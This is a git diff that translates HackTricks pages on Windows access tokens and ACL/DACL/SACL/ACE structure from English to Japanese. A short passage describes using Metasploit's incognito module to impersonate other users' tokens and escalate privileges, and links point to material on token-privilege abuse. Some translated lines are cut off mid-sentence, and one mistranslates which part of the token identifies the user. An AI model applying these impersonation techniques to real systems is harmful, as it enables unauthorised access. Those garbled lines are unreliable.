RPC、DDE、名前付きパイプなどのIPCメカニズムによって、暗黙的に現在のスレッドに作成および関連付けられます。** - The client can choose the maximum impersonation level (if any) available to the server as a connection parameter. Delegation and impersonation are privileged operations (impersonation initially was not, but historical carelessness in the implementation of client APIs failing to restrict the default level to "identification", letting an unprivileged server impersonate an unwilling privileged client, called for it). **Impersonation tokens can only be associated to threads**, and they represent a client process's security subject. Impersonation tokens are usually created and associated to the current thread implicitly, by IPC mechanisms such as DCE RPC, DDE and named pipes. +#### トークンの模倣 -#### Impersonate Tokens +Metasploitの_**incognito**_モジュールを使用すると、十分な特権があれば他のトークンを簡単に**リスト**して**模倣**することができます。これは、他のユーザーとして操作を実行するために役立つ場合があります。また、この技術を使用して特権を昇格させることもできます。 -Using the _**incognito**_\*\* module\*\* of metasploit if you have enough privileges you can easily **list** and **impersonate** other **tokens**. This could be useful to perform **actions as if you where the other user**. You could also **escalate privileges** with this technique. +### トークン特権 -### Token Privileges - -Learn which **token privileges can be abused to escalate privileges:** +特権を昇格させるために悪用できる**トークン特権**を学びましょう: {% content-ref url="privilege-escalation-abusing-tokens/" %} [privilege-escalation-abusing-tokens](privilege-escalation-abusing-tokens/) {% endcontent-ref %} -Take a look to [**all the possible token privileges and some definitions on this external page**](https://github.com/gtworek/Priv2Admin). +[**外部ページ**](https://github.com/gtworek/Priv2Admin)で**可能なトークン特権とその定義の一覧**をご覧ください。 -## References +## 参考文献 -Learn more about tokens in this tutorials: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) and [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962) +トークンについての詳細は、次のチュートリアルを参照してください:[https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa)および[https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md index a08f23583..9787a4528 100644 --- a/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md +++ b/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md @@ -3,8 +3,8 @@ ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,193 +12,160 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有**するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 -## **Access Control List (ACL)** +## **アクセス制御リスト(ACL)** -An **ACL is an ordered list of ACEs** that define the protections that apply to an object and its properties. Each **ACE** identifies a security **principal** and specifies a **set of access** rights that are allowed, denied, or audited for that security principal. +ACLは、オブジェクトとそのプロパティに適用される保護を定義するACE(アクセス制御エントリ)の順序付きリストです。各ACEはセキュリティプリンシパルを識別し、そのセキュリティプリンシパルに対して許可、拒否、または監査されるアクセス権のセットを指定します。 -An object’s security descriptor can contain **two ACLs**: +オブジェクトのセキュリティ記述子には、次の2つのACLが含まれる場合があります。 -1. A **DACL** that **identifies** the **users** and **groups** that are **allowed** or **denied** access -2. A **SACL** that controls **how** access is **audited** +1. アクセスが許可または拒否されるユーザーとグループを識別するDACL +2. アクセスが監査される方法を制御するSACL -When a user tries to access a file, the Windows system runs an AccessCheck and compares the security descriptor with the users access token and evaluates if the user is granted access and what kind of access depending on the ACEs set. +ユーザーがファイルにアクセスしようとすると、WindowsシステムはAccessCheckを実行し、セキュリティ記述子をユーザーのアクセストークンと比較し、ユーザーがアクセスを許可され、どの種類のアクセスが許可されるかを評価します。 -### **Discretionary Access Control List (DACL)** +### **自由裁量アクセス制御リスト(DACL)** -A DACL (often mentioned as the ACL) identify the users and groups that are assigned or denied access permissions on an object. It contains a list of paired ACEs (Account + Access Right) to the securable object. +DACL(ACLとも呼ばれることが多い)は、オブジェクトに割り当てられたアクセス許可を識別するユーザーとグループを識別します。セキュアオブジェクトに対してアクセス権限を持つペアのACE(アカウント+アクセス権限)のリストを含みます。 -### **System Access Control List (SACL)** +### **システムアクセス制御リスト(SACL)** -SACLs makes it possible to monitor access to secured objects. ACEs in a SACL determine **what types of access is logged in the Security Event Log**. With monitoring tools this could raise an alarm to the right people if malicious users tries to access the secured object, and in an incident scenario we can use the logs to trace the steps back in time. And last, you can enable logging for troubleshoot access issues. +SACLを使用すると、セキュリティの保護されたオブジェクトへのアクセスを監視できます。SACL内のACEは、セキュリティイベントログに記録されるアクセスの種類を決定します。モニタリングツールを使用すると、悪意のあるユーザーが保護されたオブジェクトにアクセスしようとすると、適切な人に警告を発することができます。また、インシデントのシナリオでは、ログを使用して過去の手順を追跡することができます。最後に、トラブルシューティングのためにアクセスの問題をログに記録することもできます。 -## How the System Uses ACLs +## システムがACLを使用する方法 -Each **user logged** onto the system **holds an access token with security information** for that logon session. The system creates an access token when the user logs on. **Every process executed** on behalf of the user **has a copy of the access token**. The token identifies the user, the user's groups, and the user's privileges. A token also contains a logon SID (Security Identifier) that identifies the current logon session. +システムに**ログインしたユーザーは、そのログオンセッションのセキュリティ情報を持つアクセストークンを保持**しています。ユーザーがログオンすると、システムはアクセストークンを作成します。ユーザーの代わりに実行される**すべてのプロセスには、アクセストークンのコピー**があります。トークンには、ユーザー、ユーザーのグループ、およびユーザーの特権を識別するログオンSID(セキュリティ識別子)も含まれています。 -When a thread tries to access a securable object, the LSASS (Local Security Authority) either grants or denies access. To do this, the **LSASS searches the DACL** (Discretionary Access Control List) in the SDS data stream, looking for ACEs that apply to the thread. +スレッドがセキュリティオブジェクトにアクセスしようとすると、LSASS(ローカルセキュリティ機関)がアクセスを許可または拒否します。これを行うために、LSASSはスレッドに適用されるACEを探すために、SDSデータストリーム内のDACL(自由裁量アクセス制御リスト)を検索します。 -**Each ACE in the object's DACL** specifies the access rights that are allowed or denied for a security principal or logon session. If the object's owner has not created any ACEs in the DACL for that object, the system grants access right away. +オブジェクトのDACLの各ACEは、セキュリティプリンシパルまたはログオンセッションに対して許可または拒否されるアクセス権を指定します。オブジェクトの所有者がそのオブジェクトのDACLにACEを作成していない場合、システムはすぐにアクセスを許可します。 -If the LSASS finds ACEs, it compares the trustee SID in each ACE to the trustee SIDs that are identified in the thread's access token. +LSASSがACEを見つけた場合、各ACEの委任SIDをスレッドのアクセストークンで識別される委任SIDと比較します。 ### ACEs -There are **`three` main types of ACEs** that can be applied to all securable objects in AD: +ADのすべてのセキュリティオブジェクトに適用できる**3つの主要なACEのタイプ**があります。 -| **ACE** | **Description** | -| ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **`Access denied ACE`** | Used within a DACL to show that a user or group is explicitly denied access to an object | -| **`Access allowed ACE`** | Used within a DACL to show that a user or group is explicitly granted access to an object | -| **`System audit ACE`** | Used within a SACL to generate audit logs when a user or group attempts to access an object. It records whether access was granted or not and what type of access occurred | +| **ACE** | **説明** | +| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **`アクセス拒否ACE`** | ユーザーまたはグループがオブジェクトに対して明示的にアクセスが拒否されていることを示すために、DACL内で使用されます。 | +| **`アクセス許可ACE`** | ユーザーまたはグループがオブジェクトに対して明示的にアクセスが許可されていることを示すために、DACL内で使用されます。 | +| **`システム監査ACE`** | ユーザーまたはグループがオブジェクトにアクセスしようとすると、SACL内のACEが監査ログを生成します。アクセスが許可されたかどうか、およびどの種類のアクセスが行 +### ACEの順序 -Each ACE is made up of the following `four` components: +要求されたアクセスが明示的に許可または拒否されると、システムはACEのチェックを停止しますので、DACL内のACEの順序は重要です。 -1. The security identifier (SID) of the user/group that has access to the object (or principal name graphically) -2. A flag denoting the type of ACE (access denied, allowed, or system audit ACE) -3. A set of flags that specify whether or not child containers/objects can inherit the given ACE entry from the primary or parent object -4. An [access mask](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN) which is a 32-bit value that defines the rights granted to an object +DACL内のACEの優先順位は「正準」順序と呼ばれます。Windows 2000およびWindows Server 2003では、正準順序は次のとおりです。 -The system examines each ACE in sequence until one of the following events occurs: +1. すべての「明示的」ACEは、任意の「継承」ACEの前にグループ内に配置されます。 +2. 「明示的」ACEのグループ内では、「アクセス拒否」ACEは「アクセス許可」ACEの前に配置されます。 +3. 「継承」グループ内では、子オブジェクトの親から継承されたACEが最初に配置され、その後、祖父から継承されたACEなど、オブジェクトツリーを上に向かって継承されたACEが配置されます。その後、アクセス拒否ACEはアクセス許可ACEの前に配置されます。 -* **An access-denied ACE explicitly denies** any of the requested access rights to one of the trustees listed in the thread's access token. -* **One or more access-allowed ACEs** for trustees listed in the thread's access token explicitly grant all the requested access rights. -* All ACEs have been checked and there is still at least **one requested access** right that has **not been explicitly allowed**, in which case, access is implicitly **denied**. +以下の図は、ACEの正準順序を示しています。 -### Order of ACEs - -Because the **system stops checking ACEs when the requested access is explicitly granted or denied**, the order of ACEs in a DACL is important. - -The preferred order of ACEs in a DACL is called the "canonical" order. For Windows 2000 and Windows Server 2003, the canonical order is the following: - -1. All **explicit** ACEs are placed in a group **before** any **inherited** ACEs. -2. Within the group of **explicit** ACEs, **access-denied** ACEs are placed **before access-allowed** ACEs. -3. Within the **inherited** group, ACEs that are inherited from the **child object's parent come first**, and **then** ACEs inherited from the **grandparent**, **and so** on up the tree of objects. After that, **access-denied** ACEs are placed **before access-allowed** ACEs. - -The following figure shows the canonical order of ACEs: - -### Canonical order of ACEs +### ACEの正準順序 ![ACE](https://www.ntfs.com/images/screenshots/ACEs.gif) -The canonical order ensures that the following takes place: +正準順序により、次のことが実現されます。 -* An explicit **access-denied ACE is enforced regardless of any explicit access-allowed ACE**. This means that the object's owner can define permissions that allow access to a group of users and deny access to a subset of that group. -* All **explicit ACEs are processed before any inherited ACE**. This is consistent with the concept of discretionary access control: access to a child object (for example a file) is at the discretion of the child's owner, not the owner of the parent object (for example a folder). The owner of a child object can define permissions directly on the child. The result is that the effects of inherited permissions are modified. +* 明示的な「アクセス拒否ACE」は、明示的な「アクセス許可ACE」に関係なく強制されます。つまり、オブジェクトの所有者は、ユーザーグループへのアクセスを許可し、そのグループの一部にアクセスを拒否する権限を定義できます。 +* すべての「明示的ACE」は、継承されたACEの前に処理されます。これは、任意のアクセス制御の概念と一致しています。子オブジェクト(たとえばファイル)へのアクセスは、親オブジェクト(たとえばフォルダ)の所有者ではなく、子オブジェクトの所有者の裁量によるものです。子オブジェクトの所有者は、直接子オブジェクトに対してアクセス権を定義できます。その結果、継承されたアクセス許可の効果が変更されます。 ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -### GUI Example +### GUIの例 -This is the classic security tab of a folder showing the ACL, DACL and ACEs: +これは、ACL、DACL、およびACEを表示するフォルダのクラシックなセキュリティタブです: ![](../../.gitbook/assets/classicsectab.jpg) -If we click the **Advanced button** we will get more options like inheritance: +「詳細」ボタンをクリックすると、継承などの追加オプションが表示されます: ![](../../.gitbook/assets/aceinheritance.jpg) -And if you add or edit a Security Principal: +セキュリティプリンシパルを追加または編集する場合: ![](../../.gitbook/assets/editseprincipalpointers1.jpg) -And last we have the SACL in the Auditing tab: +最後に、監査タブのSACLがあります: ![](../../.gitbook/assets/audit-tab.jpg) -### Example: Explicit access-denied to a group +### 例:グループへの明示的なアクセス拒否 -In this example, the access-allowed group is Everyone and the access-denied group is Marketing, a subset of Everyone. +この例では、アクセス許可されたグループは「Everyone」であり、アクセス拒否されたグループは「Marketing」であり、それは「Everyone」の一部です。 -You want to deny the Marketing group access to a Cost folder. If the Cost folder's ACEs are in canonical order, the ACE that denies Marketing comes before the ACE that allows Everyone. +「Cost」フォルダへのMarketingグループのアクセスを拒否したい場合、CostフォルダのACEが正準順序であれば、Marketingを拒否するACEはEveryoneを許可するACEの前に配置されます。 -During an access check, the operating system steps through the ACEs in the order in which they appear in the object's DACL, so that the deny ACE is processed before the allow ACE. As a result, users who are members of the Marketing group are denied access. Everyone else is allowed access to the object. +アクセスチェック中、オペレーティングシステムはオブジェクトのDACLに表示される順序でACEを処理するため、許可するACEの前に拒否するACEが処理されます。その結果、Marketingグループのメンバーはアクセスが拒否されます。他のユーザーはオブジェクトにアクセスが許可されます。 -### Example: Explicit before inherited +### 例:明示的なアクセス許可が継承よりも優先 -In this example, the Cost folder has an inheritable ACE that denies access to Marketing (the parent object). In other words, all users who are members (or children) of the Marketing group are denied access by inheritance. +この例では、CostフォルダにはMarketing(親オブジェクト)へのアクセスを拒否する継承可能なACEがあります。つまり、Marketingグループのメンバー(または子)であるすべてのユーザーは、継承によってアクセスが拒否されます。 -You want to allow access to Bob, who is the Marketing director. As a member of the Marketing group, Bob is denied access to the Cost folder by inheritance. The owner of the child object (user Bob) defines an explicit ACE that allows access to the Cost folder. If the child object's ACEs are in canonical order, the explicit ACE that allows Bob access comes before any inherited ACE, including the inherited ACE that denies access to the Marketing group. +マーケティングディレクターであるBobにアクセスを許可したい場合、BobはMarketingグループのメンバーとして、継承によってCostフォルダへのアクセスが拒否されます。子オブジェクト(ユーザーBob)の所有者は、Costフォルダへのアクセスを許可する明示的なACEを定義します。子オブジェクトのACEが正準順序であれば、Bobにアクセスを許可する明示的なACEは、Marketingグループへのアクセスを拒否する継承されたACEを含む、継承されたACEの前に配置されます。 -During an access check, the operating system reaches the ACE that allows Bob access before it gets to the ACE that denies access to the Marketing group. As a result, Bob is allowed access to the object even though he is a member of the Marketing group. Other members of the Marketing group are denied access. +アクセスチェック中、オペレーティングシステムはMarketingグループへのアクセスを拒否するACEに到達する前に、Bobにアクセスを許可するACEに到達します。その結果、BobはMarketingグループのメンバーであるにもかかわらず、オブジェクトにアクセスが許可されます。他のMarketingグループのメンバーはアクセスが拒否されます。 -### Access Control Entries +### アクセス制御エントリ -As stated previously, an ACL (Access Control List) is an ordered list of ACEs (Access Control Entries). Each ACE contains the following: +前述のように、ACL(アクセス制御リスト)はACE(アクセス制御エントリ)の順序付きリストです。各ACEには、次の情報が含まれます。 -* A SID (Security Identifier) that identifies a particular user or group. -* An access mask that specifies access rights. -* A set of bit flags that determine whether or not child objects can inherit the ACE. -* A flag that indicates the type of ACE. +* 特定のユーザーまたはグループを識別するセキュリティ識別子(SID)。 +* アクセス権を指定するアクセスマスク。 +* 子オブジェクトがACEを継承できるかどうかを決定するビットフラグのセット。 +* ACEのタイプを示すフラグ。 -ACEs are fundamentally alike. What sets them apart is the degree of control they offer over inheritance and object access. There are two types of ACE: +ACEは基本的に同じです。それらを区別するのは、継承とオブジェクトへのアクセスに対する制御の度合いです。2つのタイプのACEがあります。 -* Generic type that are attached to all securable objects. -* Object-specific type that can occur only in ACLs for Active Directory objects. +* すべてのセキュリティ可能なオブジェクトにアタッチされるジェネリックタイプ。 +* Active DirectoryオブジェクトのACLにのみ存在できるオブジェクト固有のタイプ。 -### Generic ACE +### ジェネリックACE -A generic ACE offers limited control over the kinds of child objects that can inherit them. Essentially, they can distinguish only between containers and noncontainers. +ジェネリックACEは、継承される子オブジェクトの種類を制御するための制限された制御を提供します。基本的に、コンテナと非コンテナの区別しかできません。 -For example, the DACL (Discretionary Access Control List) on a Folder object in NTFS can include a generic ACE that allows a group of users to list the folder's contents. Because listing a folder's contents is an operation that can be performed only on a Container object, the ACE that allows the operation can be flagged as a CONTAINER\_INHERIT\_ACE. Only Container objects in the folder (that is, only other Folder objects) inherit the ACE. Noncontainer objects (that is, File objects) do not inherit the ACE of the parent object. +たとえば、NTFSのFolderオブジェクトのDACLには、フォルダの内容をリストするためのジェネリックACEが含まれる場合があります。フォルダの内容をリストすることは、コンテナオブジェクトでのみ実行できる操作ですので、操作を許可するACEはCONTAINER\_INHERIT\_ACEとしてフラグ付けされます。フォルダ内のコンテナオブジェクト( +### アクセス制御エントリのレイアウト -A generic ACE applies to an entire object. If a generic ACE gives a particular user Read access, the user can read all the information that is associated with the object — both data and properties. This is not a serious limitation for most object types. File objects, for example, have few properties, which are all used for describing characteristics of the object rather than for storing information. Most of the information in a File object is stored as object data; therefore, there is little need for separate controls on a file's properties. +| ACEフィールド | 説明 | +| ------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| タイプ | ACEのタイプを示すフラグ。Windows 2000およびWindows Server 2003では、6つのACEタイプがサポートされています。すべてのセキュリティオブジェクトに関連付けられる3つの汎用ACEタイプと、Active Directoryオブジェクトに発生する可能性のある3つのオブジェクト固有のACEタイプがあります。 | +| フラグ | 継承と監査を制御するためのビットフラグのセット。 | +| サイズ | ACEに割り当てられるメモリのバイト数。 | +| アクセスマスク | オブジェクトのアクセス権に対応する32ビットの値。ビットはオンまたはオフに設定できますが、設定の意味はACEのタイプに依存します。たとえば、読み取り権限に対応するビットがオンになっており、ACEのタイプがDenyである場合、ACEはオブジェクトの権限の読み取りを拒否します。同じビットがオンに設定されていても、ACEのタイプがAllowである場合、ACEはオブジェクトの権限の読み取りを許可します。アクセスマスクの詳細については、次の表を参照してください。 | +| SID | このACEによって制御または監視されるユーザーまたはグループを識別します。 | -### Object-specific ACE +### アクセスマスクのレイアウト -An object-specific ACE offers a greater degree of control over the types of child objects that can inherit them. +| ビット(範囲) | 意味 | 説明/例 | +| -------------- | ---------------------------------- | ------------------------------------------- | +| 0 - 15 | オブジェクト固有のアクセス権 | データの読み取り、実行、データの追加 | +| 16 - 22 | 標準アクセス権 | 削除、ACLの書き込み、所有者の書き込み | +| 23 | セキュリティACLにアクセスできる | | +| 24 - 27 | 予約済み | | +| 28 | 汎用ALL(読み取り、書き込み、実行) | 以下のすべて | +| 29 | 汎用実行 | プログラムを実行するために必要なすべてのもの | +| 30 | 汎用書き込み | ファイルに書き込むために必要なすべてのもの | +| 31 | 汎用読み取り | ファイルを読み取るために必要なすべてのもの | -For example, an OU (Organizational Unit) object's ACL can have an object-specific ACE that is marked for inheritance only by User objects. Other types of objects, such as Computer objects, will not inherit the ACE. - -This capability is why object-specific ACEs are called object-specific. Their inheritance can be limited to specific types of child objects. - -There are similar differences in how the two categories of ACE types control access to objects. - -An object-specific ACE can apply to any individual property of an object or to a set of properties for that object. This type of ACE is used only in an ACL for Active Directory objects, which, unlike other object types, store most of their information in properties. It is often desirable to place independent controls on each property of an Active Directory object, and object-specific ACEs make that possible. - -For example, when you define permissions for a User object, you can use one object-specific ACE to allow Principal Self (that is, the user) Write access to the Phone-Home-Primary (homePhone) property, and you can use other object-specific ACEs to deny Principal Self access to the Logon-Hours (logonHours) property and other properties that set restrictions on the user account. - -The table below shows the layout of each ACE. - -### Access Control Entry Layout - -| ACE Field | Description | -| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Type | Flag that indicates the type of ACE. Windows 2000 and Windows Server 2003 support six types of ACE: Three generic ACE types that are attached to all securable objects. Three object-specific ACE types that can occur for Active Directory objects. | -| Flags | Set of bit flags that control inheritance and auditing. | -| Size | Number of bytes of memory that are allocated for the ACE. | -| Access mask | 32-bit value whose bits correspond to access rights for the object. Bits can be set either on or off, but the setting's meaning depends on the ACE type. For example, if the bit that corresponds to the right to read permissions is turned on, and the ACE type is Deny, the ACE denies the right to read the object's permissions. If the same bit is set on but the ACE type is Allow, the ACE grants the right to read the object's permissions. More details of the Access mask appear in the next table. | -| SID | Identifies a user or group whose access is controlled or monitored by this ACE. | - -### Access Mask Layout - -| Bit (Range) | Meaning | Description/Example | -| ----------- | ---------------------------------- | ----------------------------------------- | -| 0 - 15 | Object Specific Access Rights | Read data, Execute, Append data | -| 16 - 22 | Standard Access Rights | Delete, Write ACL, Write Owner | -| 23 | Can access security ACL | | -| 24 - 27 | Reserved | | -| 28 | Generic ALL (Read, Write, Execute) | Everything below | -| 29 | Generic Execute | All things necessary to execute a program | -| 30 | Generic Write | All things necessary to write to a file | -| 31 | Generic Read | All things necessary to read a file | - -## References +## 参考文献 * [https://www.ntfs.com/ntfs-permissions-acl-use.htm](https://www.ntfs.com/ntfs-permissions-acl-use.htm) * [https://secureidentity.se/acl-dacl-sacl-and-the-ace/](https://secureidentity.se/acl-dacl-sacl-and-the-ace/) @@ -207,18 +174,18 @@ The table below shows the layout of each ACE. ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md index fa5cdf096..97fe7cc77 100644 --- a/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md +++ b/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md @@ -1,35 +1,32 @@ - -
